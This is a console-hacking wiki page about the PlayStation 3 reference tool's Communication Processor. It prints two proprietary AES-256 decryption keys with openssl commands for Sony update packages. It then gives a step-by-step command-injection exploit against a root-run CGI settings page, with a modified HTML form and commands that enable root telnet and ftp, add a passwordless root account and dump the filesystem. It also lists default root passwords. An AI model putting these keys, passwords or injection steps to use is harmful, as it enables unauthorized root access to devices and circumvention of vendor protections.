Editing Communication Processor

{{Wikify}}

== Hardware ==
[[CXD9790GG]] (I/O)

[[TCP-510]] (Board ID on the DEH models such as [[DEH-R1000]])

[[TCP-520]] (Board ID on the [[DECR-1000]])

([[TCP-510]] matches the TMU-510 motherbord, while [[TCP-520]] matches the TMU-520 motherboard)
The PSP DTP-T1000 unit also sports a communication processor but it does not come as a separate board, the hardware is integrated/soldered directly to the motherboard, unlike the PS3 CP, it does not run the firmware from RAM (the PS3 CP copies the firmware from ROM to RAM at boot so changes are, by default not persistant) and therefore writes files directly to flash.

CEB units feature a PCI slot capable of harboring a CP daughterboard (Sony used such setups as System Debuggers before DEH units came along), CP boards switched to a proprietary interface and shipped to 3rd parties starting with DEH-Rx

== Software ==

=== De/Encrypt Communication Processor updates ===
This is how to decrypt/encrypt Playstation 3 Reference Tool Communication Processor updates. (use this knowledge wisely)

This was achieved by exploiting the communication processor firmware and gaining root privileges on the running Montavista Linux.
The key for the CP update packages is located within the toolupdatedec binary located at /usr/local/sony/bin/toolupdatedec

The update packages are just tar.gz packages encrypted using AES256CBC Here is the syntax to decrypt them :

* The first 16 bytes of the package is the IV, the Second 16 bytes is the MD5 hash of the decrypted package without padding. If the padding is 1 byte after tgz the binary will be padded with a single 01 byte at the end (0x10) if the padding is 2 bytes it'll be two 02 bytes, and so on until 16 (WTF Sony!) 0x10 bytes.

So use this Syntax after skipping the first 32 bytes of the file: 

{{keyboard|content=<syntaxhighlight lang="bash">openssl aes-256-cbc -in reftool_cp_xxx.bin -K E8ED2B817207B70C5DF9090507AF2A8982967620D692B92A59231638402DF13F -iv the_first_16_bytes_of_the_file -d > dec.tgz
</syntaxhighlight>}}

PSP Hardware Tool Updates use the very same encryption but a different key inside the toolupdatedec binary.

The key to these units has also been dumped, here is the syntax to decrypt psp Hardware Tool Update for DTP-T1000

{{keyboard|content=<syntaxhighlight lang="bash">openssl aes-256-cbc -in psptoolupdate.bin -K A400C48628A7A5294D11AE3BB2587AEA32E501C63E49D1DCAA19B5AEB092F3DB -iv the_first_16_bytes_of_the_file -d > dec.tgz
</syntaxhighlight>}}

P.S. If you have any trouble extracting the tarballs, try using Linux.

- Mathieulh

Because a picture is worth a thousand words, here is one: 
<gallery>
File:CP_ROOT.jpg|Root on the Communication Processor
</gallery>

=== Proper De/Encrypting of CP Updates ===
*source code [http://gitorious.ps3dev.net/cp-update-crypt cp-update-crypt] [[Gitorious]]

== Exploiting the Communication Processor ==

After initially deciding not to release the cgi exploit in case Sony may release yet another hardware based on the [[CXD9790GG]] MIPS processor, no such hardware (to my knowledge) ever came out; thus I am now documenting this exploit:

<div style="border: 5px solid red; padding: 5px;">
'''Editor's note:''' The following <html> code has been edited for a better experience through displaying on this wiki page. The following has ben replaced... ([[User:Roxanne|Roxanne]] ([[User talk:Roxanne|talk]]) - 03<sup>rd</sup> March 2016 - 21:50 GMT+1)
* <nowiki><source lang="xml"> instead of <pre></nowiki>
* <nowiki><title>Save and load</title> instead of <title>Save & load</title></nowiki>
* <nowiki><div class="title">Save and load</div> instead of <div class="title">Save & load</div></nowiki>

View here to look for the original code... (by [[User:Mathieulh|Mathieulh]])
* http://www.psdevwiki.com/ps3/index.php?title=Communication_Processor&oldid=41067#Exploting_the_Communication_Processor
* http://www.psdevwiki.com/ps3/index.php?title=Communication_Processor&oldid=41073#Exploting_the_Communication_Processor
</div>

=== Step 0 - Easy Way (python script) ===

Install the requests module, download [https://github.com/jevinskie/ps3-decr-stuff/blob/master/root_cp.py root_cp.py] and then run <pre>root_cp.py <hostname of CP></pre>.

=== Step 1 - The Development Tool Web panel ===

The first thing you want to do, assuming you already have your Development Tool properly setup, is to go to this page http://devtool/cgi-bin/admin/save_setting.cgi?lang=english (you will want to replace "devtool" by the ip/hostname of your Development Tool), you may also reach this page by simply
going to the "Save & load" page of your tool's panel.

This page is actually the front end for a cgi script that can be used to save and/or load your development tool's configuration settings into/from a file. 
Once on the page, it is fairly easy to do a right click on your favorite web browser and save it as source, assuming you did not mistakenly save the top.cgi page instead, this is the result you should get: 

<source lang="xml">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  <title>Save and load</title>
  <link rel="stylesheet" href="/style.css">
</head>
<body>
<div class="title">Save and load</div>
<div class="abstract">Download of the current settings or upload of setting with a file.</div><br><hr>
<div class="contents">
<form action="save_setting.cgi?lang=english" method="post"
				enctype="multipart/form-data">
Save setting file
<table>
<tr>
  <th>
    Setting file
  </th>
  <td>
    <a href="/var/ps3tool.conf">
      ps3tool.conf
    </a>
    <br>
    (Right-click and then select a menu like [Save Target As] on your browser.)
  </td>
</tr>
</table>
<hr>
Upload setting file
<table>
<tr>
  <th>
    Setting file
  </th>
  <td>
    <input type="file" name="setting">
  </td>
</tr>
</table>
<div align="center">
  <input type="submit" name="confirm" value="Setting">
</div>
</form>
</div>
<hr>
<a href="/cgi-bin/contents.cgi?lang=english">
  Top
</a>
<!--
&nbsp;
<a href="/help/english/save_setting.html" target="_blank">
  Help
</a>
-->
</body>
</html>
</source>


Besides the obvious security hazard in the fact that the httpd service runs as root, the exploit itself still remains hidden unless you get the whole save_setting.cgi file and look into the save_setting_file and the rename_settingfile functions (I'll let you dig into these deeper in your own time)

=== Step 2 - Doing simple modifications ===

Assuming you have saved the right source to your computer, you then need, for this exploit to work, to perform small modifications to those 

What you really want to modify is this part: 
<pre>
<input type="file" name="setting">
</pre>

Into this part: 
<pre>
<input type="text" name="setting">
</pre>

As you can see, the change is subtle, but it allows you input actual text instead of sending a file

Of course since you are not going to use this modified page from the actual Communication Processor's web panel, you need to perform a few more obvious changes to the page (you need to put the hard path to hyperlinks to the .cgi and .conf files)
So, change all the hyperlinks to their full path, for example '''action="save_setting.cgi?lang=english"''' becomes '''action=<nowiki>"http://DEVTOOL.IP.HERE/cgi-bin/admin/save_setting.cgi?lang=english"</nowiki>'''

To the lazy ones, this is what the result should look like (change the hyperlinks accordingly)

<source lang="xml">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  <title>Save and load</title>
  <link rel="stylesheet" href="/style.css">
</head>
<body>
<div class="title">Save and load</div>
<div class="abstract">Download of the current settings or upload of setting with a file.</div><br><hr>
<div class="contents">
<form action="http://DEVTOOL.IP.HERE/cgi-bin/admin/save_setting.cgi?lang=english" method="post"
				enctype="multipart/form-data">
Save setting file
<table>
<tr>
  <th>
    Setting file
  </th>
  <td>
    <a href="http://DEVTOOL.IP.HERE/var/ps3tool.conf">
      ps3tool.conf
    </a>
    <br>
    (Right-click and then select a menu like [Save Target As] on your browser.)
  </td>
</tr>
</table>
<hr>
Upload setting file
<table>
<tr>
  <th>
    Setting file
  </th>
  <td>
    <input type="text" name="setting">
  </td>
</tr>
</table>
<div align="center">
  <input type="submit" name="confirm" value="Setting">
</div>
</form>
</div>
<hr>
<a href="http://DEVTOOL.IP.HERE/cgi-bin/contents.cgi?lang=english">
  Top
</a>
<!--
&nbsp;
<a href="/help/english/save_setting.html" target="_blank">
  Help
</a>
-->
</body>
</html>
</source>

<!-- waiting for approval... if not good/working just delete it
{{Boxcode|content=<syntaxhighlight lang="html5">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
		<title>Save &amp; load</title>
		<link rel="stylesheet" href="/style.css">
	</head>
	<body>
		<div class="title">Save &amp; load</div>
		<div class="abstract">Download of the current settings or upload of setting with a file.</div>
		<br>
		<hr>
		<div class="contents">
			<form action="http://192.168.0.3/cgi-bin/admin/save_setting.cgi?lang=english" method="post" enctype="multipart/form-data">
				Save setting file
				<table>
					<tr>
						<th>Setting file</th>
						<td>
							<a href="http://192.168.0.3/var/ps3tool.conf">ps3tool.conf</a>
							<br>
							(Right-click and then select a menu like [Save Target As] on your browser.)
						</td>
					</tr>
				</table>
				<hr>
				Upload setting file
				<table>
					<tr>
						<th>Setting file</th>
						<td>
							<input type="file" name="setting">
						</td>
					</tr>
				</table>
				<hr>
				Send text command
				<table>
					<tr>
						<th>Text command</th>
						<td>
							<input type="text" name="setting">
						</td>
					</tr>
				</table>
				<div align="center">
					<input type="submit" name="confirm" value="Setting">
				</div>
			</form>
		</div>
		<hr>
		<a href="http://192.168.0.3/cgi-bin/contents.cgi?lang=english">Top</a>
	</body>
</html>
</syntaxhighlight>}}
-->

=== Step 3 - Profit ! ===

You should now have a place in which you can input text in the page itself, the exploit works as follows, any command you sent (by pressing on the "Setting" button) preceded by "; " (do not include the quotes) will run as root on the Communication Processor, so here are the obvious commands you need to input in order to gain telnet and ftp access as well as to add a root account to the unit:

Add a line to start telnet in inetd.conf (on DECR-1000 the line already exists in the original file but is commented; on DTP-T1000 telnet is enabled by default so this command is not required.)
{{keyboard|content=<syntaxhighlight lang="bash">echo >>/etc/inetd.conf telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd</syntaxhighlight>}} 
Add a line to start ftpd in inetd.conf
{{keyboard|content=<syntaxhighlight lang="bash">echo >>/etc/inetd.conf ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd</syntaxhighlight>}}
Restart inetd to apply the above changes
{{keyboard|content=<syntaxhighlight lang="bash">/etc/init.d/inetd restart</syntaxhighlight>}}
Add an account called rt with root privileges and no password to the passwd file (alternatively on the DECR-1000 Communication Processor you may ignore this step and log in with the root account and the password cytology on the DTP-T1000 the password to the root account is tAchyOn )
{{keyboard|content=<syntaxhighlight lang="bash">echo >>/etc/passwd rt::0:0:root:/root:/bin/bash</syntaxhighlight>}}

You may also output files given the right path (if you don't want to mess with ftp) the below example creates a ls.txt file containing a listing of all files on the CP at the Development panel's root
{{keyboard|content=<syntaxhighlight lang="bash">ls -alR /* > /usr/local/sony/www/html/ls.txt</syntaxhighlight>}}

While sending all these commands (by clicking on the "Setting" button), the Development Tool's panel will send you an error message, this is normal (given the nature of the exploit) and can be ignored, just follow with the next commands until you have achieved your expected goal.

Once you have dumped the development tool panel's files, or extracted those from updates, the exploit should be fairly obvious to you. Of course when this exploit was first discovered, we had no previous access to the files on the Communication Processor and had to initially take another route, which was to dump the Communication Processor's bootrom using hardware (the chip sits on a socket), discover and use the diagnostic panel/shell on it, find a way out of its sandbox and send (through very slow serial outputs) the content of the Communication Processor's memory (as it was running live), which incidentally contained a whole copy of the file system and allowed to look for an easier way in, eventually the toolupdatedec files from both the DTP-T1000 and TCP-520 (DECR-1000 CP) was dumped using this exploit, allowing to retrieve the keys and algorithms used to decrypt Communication Processor/Hardware Tool updates.

=== Fun scripts to try ===

==== backup_mode.sh ====

<pre>
#!/bin/bash
echo -n 0 > /proc/ps3tool_gpio/SC_PI0_DIPSW
echo -n 0 > /proc/ps3tool_gpio/SC_RSTX
sleep 1
echo -n 1 > /proc/ps3tool_gpio/SC_RSTX
</pre>

* sets DECR in backup mode
* scver in backup mode is v0.4.5_b4!

==== normal_mode.sh ====

<pre>
#!/bin/bash
echo -n 1 > /proc/ps3tool_gpio/SC_PI0_DIPSW
echo -n 0 > /proc/ps3tool_gpio/SC_RSTX
sleep 1
echo -n 1 > /proc/ps3tool_gpio/SC_RSTX
</pre>

* sets DECR in normal mode

==== sc_soft_reset.sh ====

<pre>
#!/bin/bash
echo -n 0 > /proc/ps3tool_gpio/SC_RSTX
sleep 1
echo -n 1 > /proc/ps3tool_gpio/SC_RSTX
</pre>

* soft resets SYSCON

==== update.sh ====

<pre>
#!/bin/bash

function mode() { # 0 = backup mode, 1 = normal mode
	printf "$1" > /proc/ps3tool_gpio/SC_PI0_DIPSW
	# reset sc
	printf "0" > /proc/ps3tool_gpio/SC_RSTX
	sleep 1
	printf "1" > /proc/ps3tool_gpio/SC_RSTX
	# wait for sc to be ready
	sleep 2
}

function command() {
	printf "${1}\r\n" > /dev/ttyS0 
}

# do NOT use this while sx is running, instead use e.g. socat
function print_uart() {
	while IFS= read -r -d $'\0' -n 1 LINE; do
		printf "%c" "$LINE"
	done < /dev/ttyS0
	unset IFS
}

if ! [[ "$1" == /* ]]; then
	echo "ERROR: Firmware update file path has to be absolute!"
	exit 1	
fi

if [ ! -f $1 ]; then
	echo "ERROR: Firmware update file not found!"
	exit 1
fi


wait /usr/local/sony/bin/be_shutdown &>/dev/null

killall scuartd &>/dev/null
command "halt"
sleep 2

mode 0

command "firmud"
sleep 2
/usr/bin/sx $1 < /dev/ttyS0 > /dev/ttyS0 &
wait $!

printf "\n----- Press any key after \'completed!! [mullion]\$\' -----\n"
print_uart &
pid=$!
read -n 1 -s # wait for key
printf "\n"
kill $pid

mode 1

/usr/local/sony/bin/scuartd & &>/dev/null
</pre>

* Updates SYSCON firmware. Can works sometimes with corrupt firmware. Needs one parameter (absolute path to syscon firmware)

{{Console Components}}<noinclude>[[Category:Main]]</noinclude>